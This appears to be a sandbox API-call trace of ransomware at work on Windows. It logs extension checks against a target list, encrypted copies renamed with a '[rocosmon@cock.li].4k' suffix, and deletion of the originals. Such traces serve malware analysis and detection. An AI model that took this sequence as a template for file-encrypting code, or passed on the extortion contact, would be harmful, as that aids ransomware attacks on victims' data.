	[0093.026] lstrlenW (lpString=".zip") returned 4
	[0093.026] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0093.026] lstrlenW (lpString=".rar") returned 4
	[0093.026] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0093.026] lstrlenW (lpString=".bz2") returned 4
	[0093.026] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0093.026] lstrlenW (lpString=".7z") returned 3
	[0093.026] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0093.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.026] lstrlenW (lpString=".dbf") returned 4
	[0093.026] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0093.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.026] lstrlenW (lpString=".1cd") returned 4
	[0093.026] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0093.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.026] lstrlenW (lpString=".jpg") returned 4
	[0093.026] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0093.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.026] lstrlenW (lpString=".doc") returned 4
	[0093.026] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0093.026] lstrlenW (lpString=".docx") returned 5
	[0093.026] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0093.027] lstrlenW (lpString=".pdf") returned 4
	[0093.027] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0093.027] lstrlenW (lpString=".xls") returned 4
	[0093.027] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0093.027] lstrlenW (lpString=".xlsx") returned 5
	[0093.027] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0093.027] lstrlenW (lpString=".ppt") returned 4
	[0093.027] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0093.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.027] lstrlenW (lpString=".zip") returned 4
	[0093.027] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0093.027] lstrlenW (lpString=".rar") returned 4
	[0093.027] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0093.027] lstrlenW (lpString=".bz2") returned 4
	[0093.027] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0093.027] lstrlenW (lpString=".7z") returned 3
	[0093.027] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0093.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.027] lstrlenW (lpString=".dbf") returned 4
	[0093.027] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0093.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.027] lstrlenW (lpString=".1cd") returned 4
	[0093.027] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0093.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.027] lstrlenW (lpString=".jpg") returned 4
	[0093.027] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0093.028] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0093.028] lstrlenW (lpString="Office32WW.xml") returned 14
	[0093.028] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0093.049] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=4274) returned 1
	[0093.050] CloseHandle (hObject=0x190) returned 1
	[0093.050] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020
	[0093.050] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0093.050] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0093.050] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.050] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.050] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174
	[0093.050] GetLastError () returned 0x0
	[0093.051] ReadFile (in: hFile=0x190, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x10b2, lpOverlapped=0x0) returned 1
	[0093.059] WriteFile (in: hFile=0x174, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x10c0, lpOverlapped=0x0) returned 1
	[0093.061] ReadFile (in: hFile=0x190, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0093.061] WriteFile (in: hFile=0x174, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0093.061] SetEndOfFile (hFile=0x174) returned 1
	[0093.062] CloseHandle (hObject=0x174) returned 1
	[0093.067] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.068] SetEndOfFile (hFile=0x190) returned 1
	[0093.069] CloseHandle (hObject=0x190) returned 1
	[0093.069] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0093.069] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1
	[0093.069] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.069] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.069] lstrlenW (lpString=".doc") returned 4
	[0093.069] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0093.069] lstrlenW (lpString=".docx") returned 5
	[0093.069] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1
	[0093.069] lstrlenW (lpString=".pdf") returned 4
	[0093.069] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0093.069] lstrlenW (lpString=".xls") returned 4
	[0093.069] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0093.069] lstrlenW (lpString=".xlsx") returned 5
	[0093.069] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1
	[0093.070] lstrlenW (lpString=".ppt") returned 4
	[0093.070] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0093.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.070] lstrlenW (lpString=".zip") returned 4
	[0093.070] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0093.070] lstrlenW (lpString=".rar") returned 4
	[0093.070] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0093.070] lstrlenW (lpString=".bz2") returned 4
	[0093.070] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0093.070] lstrlenW (lpString=".7z") returned 3
	[0093.070] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0093.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.070] lstrlenW (lpString=".dbf") returned 4
	[0093.070] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0093.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.070] lstrlenW (lpString=".1cd") returned 4
	[0093.070] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0093.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.070] lstrlenW (lpString=".jpg") returned 4
	[0093.070] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0093.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.070] lstrlenW (lpString=".doc") returned 4
	[0093.070] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0093.070] lstrlenW (lpString=".docx") returned 5
	[0093.070] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1
	[0093.071] lstrlenW (lpString=".pdf") returned 4
	[0093.071] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0093.071] lstrlenW (lpString=".xls") returned 4
	[0093.071] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0093.071] lstrlenW (lpString=".xlsx") returned 5
	[0093.071] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1
	[0093.071] lstrlenW (lpString=".ppt") returned 4
	[0093.071] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0093.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.071] lstrlenW (lpString=".zip") returned 4
	[0093.071] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0093.071] lstrlenW (lpString=".rar") returned 4
	[0093.071] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0093.071] lstrlenW (lpString=".bz2") returned 4
	[0093.071] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0093.071] lstrlenW (lpString=".7z") returned 3
	[0093.071] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0093.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.071] lstrlenW (lpString=".dbf") returned 4
	[0093.071] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0093.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.071] lstrlenW (lpString=".1cd") returned 4
	[0093.071] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0093.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.071] lstrlenW (lpString=".jpg") returned 4
	[0093.071] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0093.072] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0093.072] lstrlenW (lpString="Office32WW.xml") returned 14
	[0093.072] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0093.073] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=4274) returned 1
	[0093.073] CloseHandle (hObject=0x190) returned 1
	[0093.073] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020
	[0093.073] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0093.073] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0093.073] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.073] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.073] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174
	[0093.073] GetLastError () returned 0x0
	[0093.073] ReadFile (in: hFile=0x190, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x10b2, lpOverlapped=0x0) returned 1
	[0093.361] WriteFile (in: hFile=0x174, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x10c0, lpOverlapped=0x0) returned 1
	[0093.362] ReadFile (in: hFile=0x190, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0093.362] WriteFile (in: hFile=0x174, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0093.362] SetEndOfFile (hFile=0x174) returned 1
	[0093.362] CloseHandle (hObject=0x174) returned 1
	[0093.368] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.368] SetEndOfFile (hFile=0x190) returned 1
	[0093.368] CloseHandle (hObject=0x190) returned 1
	[0093.368] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0093.369] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1
	[0093.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.369] lstrlenW (lpString=".doc") returned 4
	[0093.369] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0093.369] lstrlenW (lpString=".docx") returned 5
	[0093.369] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1
	[0093.369] lstrlenW (lpString=".pdf") returned 4
	[0093.369] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0093.369] lstrlenW (lpString=".xls") returned 4
	[0093.369] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0093.369] lstrlenW (lpString=".xlsx") returned 5
	[0093.369] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1
	[0093.369] lstrlenW (lpString=".ppt") returned 4
	[0093.369] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0093.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.369] lstrlenW (lpString=".zip") returned 4
	[0093.369] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0093.369] lstrlenW (lpString=".rar") returned 4
	[0093.369] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0093.369] lstrlenW (lpString=".bz2") returned 4
	[0093.369] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0093.370] lstrlenW (lpString=".7z") returned 3
	[0093.370] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0093.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.370] lstrlenW (lpString=".dbf") returned 4
	[0093.370] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0093.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.370] lstrlenW (lpString=".1cd") returned 4
	[0093.370] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0093.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.370] lstrlenW (lpString=".jpg") returned 4
	[0093.370] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0093.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.370] lstrlenW (lpString=".doc") returned 4
	[0093.370] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0093.370] lstrlenW (lpString=".docx") returned 5
	[0093.370] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1
	[0093.370] lstrlenW (lpString=".pdf") returned 4
	[0093.370] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0093.370] lstrlenW (lpString=".xls") returned 4
	[0093.370] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0093.370] lstrlenW (lpString=".xlsx") returned 5
	[0093.370] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1
	[0093.371] lstrlenW (lpString=".ppt") returned 4
	[0093.371] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0093.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.371] lstrlenW (lpString=".zip") returned 4
	[0093.371] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0093.371] lstrlenW (lpString=".rar") returned 4
	[0093.371] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0093.371] lstrlenW (lpString=".bz2") returned 4
	[0093.371] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0093.371] lstrlenW (lpString=".7z") returned 3
	[0093.371] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0093.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.371] lstrlenW (lpString=".dbf") returned 4
	[0093.371] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0093.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.371] lstrlenW (lpString=".1cd") returned 4
	[0093.371] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0093.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.371] lstrlenW (lpString=".jpg") returned 4
	[0093.371] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0093.371] lstrcmpiW (lpString1=".EPS", lpString2=".4k") returned 1
	[0093.371] lstrlenW (lpString="MS.EPS") returned 6
	[0093.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc
	[0094.336] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=15067) returned 1
	[0094.336] CloseHandle (hObject=0x1cc) returned 1
	[0094.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20
	[0094.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0094.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc
	[0094.337] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0094.337] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0094.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0094.337] GetLastError () returned 0x0
	[0094.337] ReadFile (in: hFile=0x1cc, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x3adb, lpOverlapped=0x0) returned 1
	[0094.355] WriteFile (in: hFile=0x160, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x3ae0, lpOverlapped=0x0) returned 1
	[0094.356] ReadFile (in: hFile=0x1cc, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0094.356] WriteFile (in: hFile=0x160, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0094.356] SetEndOfFile (hFile=0x160) returned 1
	[0094.356] CloseHandle (hObject=0x160) returned 1
	[0094.357] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0094.357] SetEndOfFile (hFile=0x1cc) returned 1
	[0094.358] CloseHandle (hObject=0x1cc) returned 1
	[0094.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0094.359] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 1
	[0094.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61
	[0094.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61
	[0094.359] lstrlenW (lpString=".doc") returned 4
	[0094.359] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1
	[0094.359] lstrlenW (lpString=".docx") returned 5
	[0094.359] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1
	[0094.359] lstrlenW (lpString=".pdf") returned 4
	[0094.359] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1
	[0094.359] lstrlenW (lpString=".xls") returned 4
	[0094.359] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1
